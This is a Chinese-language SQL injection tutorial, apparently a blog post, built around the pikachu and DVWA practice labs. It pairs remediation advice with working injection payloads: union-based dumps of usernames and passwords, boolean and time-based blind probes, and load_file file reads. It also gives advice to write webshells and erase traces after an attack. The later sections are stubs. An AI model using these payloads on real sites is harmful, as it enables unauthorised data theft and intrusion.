关于靶场:
- 本章使用的靶场是pikachu和dvwa:
- 针对于pikachu靶场上的sql注入
- pikachu和dvwa靶场下载地址:
- GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)
- GitHub - zhuifengshaonianhanlu/pikachu: 一个好玩的Web安全-漏洞测试平台
一. sql注入-基础篇
漏洞描述:
web程序代码中对于用户提交的参数没做过滤直接放到SQL语句中执行,导致参数中的特殊字符打破了 SQL 语句原有的逻辑,攻击者利用该漏洞任意执行 SQL 语句,例如:查询数据,下载数据,写入webshell,执行系统命令以及绕过登录限制等
如何查找注入点:
- 前端页面上所有提交数据的地方,不管是登录,注册,留言板,评论区,分页等地方,只要是提交数据给后台,后台拿着提交的数据和数据库交互了,那么这个地方就可能存在注入点
漏洞测试:
- 在发现有参数输入的地方使用 sqlmap 进行 sql注入的检查
- 关于sqlmap的使用:sql注入工具-sqlmap-CSDN博客
- 也可以手动测试,利用单引号,and 1=1和 and 1=2 以及字符型注入进行判断是否存在sql注入。
sql注入修复:
- 使用参数化查询或预编译语句:确保用户输入的数据作为参数传递给 SQL 查询,而不是直接拼接在 SQL 语句中。参数化查询和预编译语句可以防止恶意输入被解释为 SQL 代码。
- 输入验证和过滤:对用户输入进行验证和过滤,确保只有预期的数据类型和格式被接受。例如,使用正则表达式验证字符串,限制输入长度,或者只接受特定的字符集。
- 最小权限原则:在数据库中为每个应用程序用户分配最小权限。这样,即使发生 SQL 注入攻击,攻击者也只能访问到有限的数据。
- 输入转义:对特殊字符进行转义,以防止它们被错误地解释为 SQL 代码。例如,将单引号转义为两个单引号,以避免影响 SQL 语句的结构。
- 错误处理和日志记录:在应用程序中正确处理 SQL 错误,并记录有关错误的详细信息,包括问题查询和相关的用户输入。这有助于及时发现和修复潜在的 SQL 注入漏洞。
- 使用ORM框架:ORM(对象关系映射)框架可以自动处理 SQL 查询和参数传递,从而减少手动编写 SQL 代码的机会。ORM 框架也通常会提供一些内置的安全措施来防止 SQL 注入攻击。
- 定期更新和维护:及时更新应用程序和数据库软件,以获取最新的安全补丁和修复程序。还应定期审查和修复应用程序中的代码和数据库结构,以确保没有新的漏洞产生。
1. 关于mysql
mysql-5 版本以后,mysql默认会自带一些数据库,:
- - information_schema:包含有关数据库中的元数据(如表、列、索引等)的信息。
- sql注入中主要使用到information_schema中的以下三个数据表:
- COLUMNS数据表中:存储该用户创建的所有数据库的库名、表名和字段名
- TABLE_SCHEMA:记录数据库名称
- TABLE_NAME:记录数据表名
- COLUMN_NAME:记录字段名
- TABLES数据表中:
-
TABLE_SCHEMA:记录数据数据库名称
-
TABLE_NAME:记录数据表名
-
- SCHEMATA数据表中:
- SCHEMA_NAME:记录数据库的名称
- COLUMNS数据表中:存储该用户创建的所有数据库的库名、表名和字段名
通过以下sql语句通过information_schema 数据库查询 dvwa 数据库:
sql解读:
1. 从 information_schema 数据库中查询数据表COLUMNS
2. 从COLUMNS数据表中查询字段TABLE_SCHEMA为dvwa的数据库
select * from information_schema.COLUMNS where TABLE_SCHEMA="dvwa"
通过以下sql语句通过information_schema 数据库查询dvwa数据库下的users表:
select * from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" and TABLE_NAME="users"
mysql中的注释符号:
- # 单行注释
- -- 空格 单行注释
- /* () */ 多行注释
#和--的区别就是:#后面直接加注释内容,而--的第 2 个破折号后需要跟一个空格符在加注释内容。
通过以下sql语句通过information_schema 数据库查询dvwa数据库下的users表中的user字段和password字段:
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = "dvwa" AND TABLE_NAME = "users" AND COLUMN_NAME IN ("user", "password");
通过以上知道了dvwa数据库是存在的,users表也存在,那么通过一下的命令就可以获取users表中的数据信息
SELECT `user`, `password` FROM dvwa.users;
2. mysql 逻辑运算符
mysql的逻辑运算符:false不会返回数据,true才会返回数据,如果条件为false还返回数据,可能存在sql注入
- and:逻辑与运算符,用于判断多个条件同时成立的情况。
- 所有条件都为true,返回true
- 有一个条件为false,返回false
- or:逻辑或运算符,用于判断多个条件中有一个成立的情况
- 有一个条件为true,返回true
- 所有条件为false,返回false
- not:逻辑非运算符,用于取反一个条件的结果
- 如果条件为true,返回false
- 如果条件为false,返回true
3. sql注入原理
模糊理解:
- 攻击者通过在输入字段中插入特殊的SQL命令,利用应用程序未正确过滤或转义用户输入的漏洞。这些恶意的SQL命令可以修改、删除或泄露数据库中的数据,也可以执行其他恶意操作。
- SQL注入攻击的原理是利用了应用程序对用户输入数据的信任问题。应用程序会将用户输入的数据直接拼接到SQL查询中,而不进行适当的验证和转义。这使得攻击者可以通过输入特殊字符(如单引号、分号等)来改变查询的语义,从而执行恶意的SQL操作
sql注入原理:
- sql注入漏洞的产生需要满足以下2个条件:
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 sql 语句,且带入数据库查询
- 详细划分以上两个条件:
- 用户输入未经过处理的数据:当用户输入的数据没有经过适当的处理或过滤时,就会有可能引发SQL注入漏洞。例如,如果用户输入的数据直接拼接到SQL查询语句中,而没有进行任何检查和过滤,就会产生注入漏洞。
- 缺乏输入验证:如果应用程序没有对用户输入的数据进行验证,例如检查数据类型、长度或格式等,就有可能导致SQL注入漏洞的产生。攻击者可以通过利用这些缺陷来注入恶意代码。
- 缺乏参数化查询:如果应用程序没有使用参数化查询或预编译语句,而是直接将用户输入的数据拼接到SQL查询语句中,就会产生注入漏洞。参数化查询可以帮助应用程序将用户输入的数据作为参数传递给数据库,从而防止注入攻击。
- 错误的错误处理:当应用程序在处理错误时泄露了敏感信息,例如数据库错误消息,攻击者可以利用这些信息来发现和利用SQL注入漏洞。因此,应用程序应该提供有用的错误消息,同时避免向攻击者泄露过多的信息。
- 不安全的权限设置:如果应用程序使用的数据库用户具有过高的权限,例如具有对数据库的完全访问权限,就可能导致注入漏洞。攻击者可以通过注入恶意代码来执行任意的数据库操作,包括读取、修改和删除数据等。
方式一:字符型查询
- 用户传入的参数为 1' 的时候,数据库就会执行以下的代码
select * from users where id=1'
-
sql语句不符合语法规范报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
-
根据报错说明可能是存在sql注入的
方式2:数字查询
- 用户传入的参数为 1 and 1=1 的时候,数据库就会执行以下的代码
select * from users where id=1 and 1=1
-
分析以上的sql语句:id=1 and 1=1
-
id=1 是true,1=1 是true,所以 true and false 页面会返回 id=1的结果
-
方式3:数字查询
- 用户传入 1 and 1=2 的时候,数据库就会执行以下的代码
select * from users where id=1 and 1=2
-
分析以上的sql语句:id=1 and 1=2
-
id=1 是true,1=2 是false,所以 false 页面不会返回结果。
-
-
1=2
是一个为假的条件,因此查询结果应该为空,即没有任何记录返回。如果查询结果返回了一些记录,那可能意味着存在 SQL 注入漏洞
4. 判断是否存在sql注入
什么是回显?
- 回显是指攻击者输入恶意脚本,如果有信息返回(回显),那么可以判断是否存在sql注入
- 页面显示错误信息:当在注入点附近发生错误时,应用程序可能会显示SQL错误信息,如语法错误或无效查询。这些错误信息可能暴露敏感数据,如数据库信息、表结构或查询结果
- 页面显示异常行为:注入攻击可能导致页面行为变得异常,如页面内容缺失或显示不完整,或者在页面上显示不应该出现的内容。
- 延迟加载或时间延迟:在注入攻击中,攻击者可能会使用延迟加载或时间延迟来测试SQL语句的执行时间。如果页面加载时间明显延长,或者在页面上看到明显的延迟,可能暗示存在SQL注入漏洞。
- 页面响应可控:当攻击者在注入点成功注入恶意SQL语句时,可以通过修改语句来控制页面的响应。例如,可以通过注入语句改变页面的标题、内容、链接或导航等。
- 盲注注入:在某些情况下,无法直接从页面上看到回显信息,但攻击者可以通过修改注入语句的条件来检测是否存在SQL注入漏洞。例如,通过添加"AND 1=1"或"AND 1=0"等条件,然后根据页面的响应来判断注入是否成功。
什么是无回显?
- 无回显,是指根据输入的语句,页面没有任何变化,或者没有数据库中的内容显示到页面
常用的一些测试语句:以下只是列举了常用的语句,其实还有很多,请使用搜索引擎了解
- 若是数字型注入,则没有闭合形式
- 若是字符型注入,则要判断闭合的形式
- 数字型
- id=1 and 1=1
- id=1 and 1=2
- id=1 or 1=1
- 字符型
- id= '1' or '1'='1'
- id="1" or "1"="1"
- id=1' sleep(3) --
判断是否存在注入,示例:
http//127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince'&submit=查询
1. 提交的参数是: vince' 也称为字符型注入
2. 如果页面返回错误,则存在sql注入
返回的错误示例:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''vince''' at line 1
http//127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1 and 1=1&submit=查询
1. 提交的参数是:1 and 1=1 也称为数字型注入
2. 页面正常运行,继续测
http//127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1 and 1=2&submit=查询
1. 提交的参数是:1 and 1=2 也称为数字型注入
2. 如果页面运行错误,则存在sql注入
5. sql注入流程
了解:
- 获取目标网站的网址和参数。
- 使用浏览器打开目标网站,并找到可以注入的参数。常见的参数包括 URL 中的查询字符串、表单的输入字段等
- 确定注入点。
- 通过观察目标网站的响应,找到可以通过注入点来执行恶意 SQL 代码的地方。注入点通常是在 SQL 查询语句中的字符串拼接处
- 判断注入点的类型。
- 根据注入点的不同类型,选择相应的注入方式。常见的注入点类型包括布尔型盲注、错误型注入、时间盲注等
- 构造注入语句。
- 根据注入点的类型,构造出恶意 SQL 语句。注入语句的目的是通过输入特定的字符串来绕过正常的 SQL 查询逻辑,执行自己的恶意代码
- 测试注入语句。
- 将构造好的注入语句插入到原始的 SQL 查询语句中,并观察目标网站的响应。如果注入成功,可以通过响应的变化或错误信息来确认注入点的存在
- 获取数据。
- 通过注入语句来获取目标网站的敏感数据。可以通过 UNION 查询、子查询、错误信息等方式来获取数据
- 提取数据。
- 将获取到的数据从响应中提取出来,并进行进一步的分析和利用
- 利用漏洞。
- 根据目标网站的具体情况,利用注入漏洞进行各种攻击,如登录绕过、提权等
- 文件读取:union select 1,load_file("C:\\window\\win.ini")#
- 写入webshell
- 清理痕迹。在完成攻击后,应该清理所有的痕迹,以免被发现和追踪
注:使用sql注入遇到转义字符串的单引号或双引号,可以使用hex编码绕过
手动注入思路:sqlmap也差不多
- 判断是否存在注入,注入是字符型还是数字型
- 猜解 SQL 查询语句中的字段数,group by 或 order by
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的数据表
- 获取表中字段名
- 查询表中的数据
6. sql注入分类
SQL注入可以分为以下几类:
1. 基于报错的注入(Error-based Injection):通过触发SQL语句错误来获取数据库信息。
2. 基于联合查询的注入(Union-based Injection):利用UNION语句将恶意查询结果合并到正常的查询结果中,从而获取数据库信息。
3. 基于布尔盲注的注入(Blind-based Injection):在无法直接获取数据库错误或联合查询结果的情况下,通过不断尝试逻辑判断语句的真假,来推测数据库信息。
4. 基于时间延迟的注入(Time-based Injection):通过在注入语句中添加时间延迟,来间接获取数据库信息。
5. 基于堆叠查询的注入(Stacked Queries Injection):将多个查询语句合并到一条语句中执行,从而实现多个操作。
6. 基于批量注入的注入(Batched Queries Injection):将多个查询语句合并为一组,一次性执行,从而提高注入效率。
7. 基于存储过程的注入(Stored Procedures Injection):利用存储过程中的代码执行漏洞注入恶意代码。
8. 基于受限字符集的注入(Restricted Character Set Injection):当输入中的某些字符被过滤或转义时,利用其他字符或编码方式绕过过滤。
需要注意的是,SQL注入的分类并不是绝对的,实际的注入攻击可能会结合多种方法和技巧。
7. 请求类型区分
-
GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要 URL 编码
-
POST 请求参数是放在请求 body 里的,长度没有限制
-
cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取
8. 注入数据类型区分
- int 整型:id=1
select * from 数据表名称 where id=1-- 示例sql: 从users表中查询字段id为1的数据 select * from users where id=1
- string字符型:name="小明"
select * from 数据表名称 where name="xiaoming"-- 示例sql: 从users表中查询字段name为"xiaoming"的数据 select * from users where name="xiaoming"
- like搜索型:"&标题&"
select * from 数据表名称 where title like "%标题%"-- 示例sql: 从news 表中查询模糊匹配 title 中 包含标题的数据 select * from news where title like "%标题%"
9. union联合注入
9.1 union联合注入分析
union联合注入是联合两个表进行注入攻击,使用关键字 union select 对两个表进行联合查询。
注意事项:union 前后两个查询语句查询的属性数必须一致,即前面查两个属性,后面也必须查两个属性
错误的示范:
- guestbook表中有3个字段
- users表中有8个字段
- 如果直接执行:SELECT * FROM guestbook where comment_id=1 union select * from users , 直接联合联合表会导致报错,因为列数和第一个表不一样
正确的示范:
-
select * from guestbook where comment_id=1 union select 1,2,3 from users
- 以上的sql语句解读:
- 查询 guestbook 数据表中字段comment_id=1的数据,然后使用联合查询 union select 指定字段 1,2,3 查询users数据表
- 查询出来的数据:
- 以上的sql语句也可以替换为函数:
select * from guestbook where comment_id=1 union select database(),user(),version() from users
-
以上的sql语句替换为字段:
SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users
9.2 union联合注入攻击-实践
1. 判断sql注入
输入以下语句测试是否存在sql注入:
- 1' and '1'='1
- 1' and '1'='2 存在sql注入
通过输入语句 1' and '1'='2,得到了页面的报错信息,那么判断得出存在sql注入
2. 判断字段数
输入以下语句测试字段数:
- 1' order by 1# 正确的
- 1' order by 2# 正确的
- 1' order by 3# 到字段3的时候报错了,那么说明字段长度为 2
问题:为什么要加 单行注释 # ?
- 首先要知道 order by 的作用是用于对查询结果进行排序
- # 注释掉的是后面多余的 符号
通过输入 1' order by 3# 报错信息,得到字段数长度为2
3. 联合查询注入获取敏感信息
通过联合查询,输入数字查询页面是否有数字输出
- 输入:1' union select 1,2 #
- 如果不确定数据输出出来是那个,也可以使用mysql中内置的md5函数对1进行加密然后输出结果来判断输出的结果
- 例如: 1' union select 1,md5(1) #
- 获取mysql版本,当前用户全权限,当前数据库:1' union select 1,group_concat(user(),database(),version()) #
- version() 获取mysql版本
- user() 获取当前用户名
- database() 获取当前数据库
获取到的信息:
- 数据库名称:dvwa
- 用户名: root@locahsot
- 数据库版本: 5.7.26
4. 联合查询注入通过 information_schema 获取表名
在黑盒的情况下是不知道当前数据库中是有什么表的,但是可以通过mysql自带的information_schema 查询当前数据库的数据表
输入: 1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2 )#
5. 联合查询注入通过 information_schema 获取字段
已知数据库是 dvwa 数据表是 users,那么接下来是获取字段
输入:
- 获取第一个字段名:-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1))#
- 获取第二个字段名:-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1))#
- 获取第三个字段名:-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 3,1))#
通过以上方式得到,user_id字段user字段password字段
6. 通过联合查询表中内容
通过以上的黑盒查询,获取数据库名,数据表名,字段名,那么接下来就查表数据
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)#
10. boolean布尔型注入
布尔型注入不会在网页中显示数据库信息,一般情况下只会显示 对与错的内容
例如:
- 存在返回:users is exists in the database
- 否则返回:users id is missing
所以布尔型注入,一般只会返回正确与错误的页面,而不会显示数据库中的信息,如果存在注入点,也称为盲注入(或黑盒模式),因为布尔注入是通过 正确和错误猜解来推断
黑河模式-布尔注入流程:
- 判断注入
- 判断完注入后获取数据库的长度
- 得到长度在查询数据库名
- 通过库名查询数据表
- 在通过数据表拿到字段
- 在拿数据
判断盲注入
输入sql注入检测语句,判断语句是否不一样,如果不一样大概会存在 sql注入漏洞
- 例如:通过注入以下语句得到的结果进行判断
- 1' and '1'='1 一样
- 1' and '1'='2 不一样
如果输入以上检测语句页面没有任何变化可以使用 延迟语句进行检测, 1' and sleep(10) # 函数sleep() 在mysql中的作用是延迟返回的意思,以秒为单位 sleep(5) 表示延迟5秒。
- 输入:1' and sleep(10) #
- 如果页面10秒后返回数据,那么存在sql注入,否则不存在
10.1 布尔盲注攻击
布尔型注入攻击,由于页面不会返回任何数据库信息,所以不能使用 联合查询敏感信息显示在页面,但是可以通过构造sql语句,获取数据
布尔型注入方式:
- sql语句:select if(1=1,1,0),
- sql解读:
- id()函数在mysql中是判断,第一个参数 1=1 是表达式,如果条件为true显示1,如果条件为 false 显示 0
- 1=1 可以替换为sql攻击语句
- sql解读:
- 注入语句:1' and if(1=1,1,0) # 实际上这个语句等于 1' and 1 注入页面后显示正确因为 1 是真实存在数据库中的
- 注入语句: 1' and if(1=2,1,0) # 实际上这个语句等于 1' and 0 注入页面后显示不正常因为 1’ and 0 得到的是一个false,返回错误信息,存在sql注入
sql语句解读:基于以上的两个语句和dvwa中的sql语句拼接解读
- 1' and if(1=1,1,0) #
- 数据库中执行的:SELECT first_name, last_name FROM users WHERE user_id = '1' and if(1=1,1,0) #';";
- 1' and if(1=2,1,0) #
- 数据库中执行的:SELECT first_name, last_name FROM users WHERE user_id = '1' and if(1=2,1,0) #';";
10.2 布尔型盲注-查询长度
在黑盒环境下,通过构造sql注入语句,根据页面的特征确定获取敏感信息
布尔型盲注需要用到的函数:
-
substring() 字符串截取
-
参数1:是字符串
-
参数2:开始截取
- 参数3:截取长度
-
- select database() 获取当前数据库
在布尔注入中,要查询数据库名称,需要先确定数据库名称的长度,在通过截取字符串进行对比
示例:
- 基于数据库中执行sql:
- select if(length(database())=4,1,0) 返回 1 说明数据库的长度是 4
- 靶场中输入的就是:1' and if(length(database())=4,1,0)#
- 以下的图中返回存在,那么说明数据库的长度为4
10.3 布尔型盲注-查询数据库名称
示例:
-
基于数据库中执行sql:
-
select if(substring(database(),1,1)='d',1,0)
- 通过database()函数获取数据库的名称
- 通过substring(database(),1,1) 函数从1开始截取,截取长度为1,也就是拿到 d
- 通过 if判断,如果 substring(database(),1,1) == "d" 就返回1,否则返回0
-
拆解成python代码解读:
- 所以布尔盲注的方式就是通过返回值的真假来判断。
-
实践:通过以上的语句来判断数据库名称
- select if(substring(database(),1,1)='d',1,0) 得到1,说明第一个字符是d
- select if(substring(database(),2,1)='v',1,0) 得到1,说明第一个字符是v
- select if(substring(database(),3,1)='w',1,0) 得到1,说明第一个字符是w
- select if(substring(database(),4,1)='a',1,0) 得到1,说明第一个字符是a
- 最终得到结果:数据库名称 dvwa
靶场中查询数据库名称的话就是:
- 1' and if(substring(database(),4,1)='a',1,0)#
- 以下的图中返回存在,那么说明数据库名称的第一个字符是 d
10.4 布尔型盲注-查询数据表名
- 数据库中执行:select if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0) 返回 1 说明数据表的第一个字母是g
- 靶场中执行:1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)#
就这样以此类推,不过实际遇到的时候不会这样手动的去搞,因为会用Burp或sqlMap
10.5 布尔型盲注-查询字段名
sqlmap
1.6 布尔型盲注-获取数据库数据
sqlmap
11. 报错注入
sqlmap
12. 时间注入
sqlmap
13. 堆叠注入
sqlmap
14. 宽字节注入
sqlmap
基础篇结束语:
- 以上都是一些基本的注入手段,也称为一次注入。
- 虽然是基础篇,但是小小的一次注入就能造成巨大的安全隐患
- 我个人比较依赖sqlmap,因为懒